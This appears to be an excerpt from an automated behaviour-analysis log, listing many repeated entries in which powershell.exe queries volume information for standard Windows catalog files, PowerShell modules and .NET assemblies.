    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
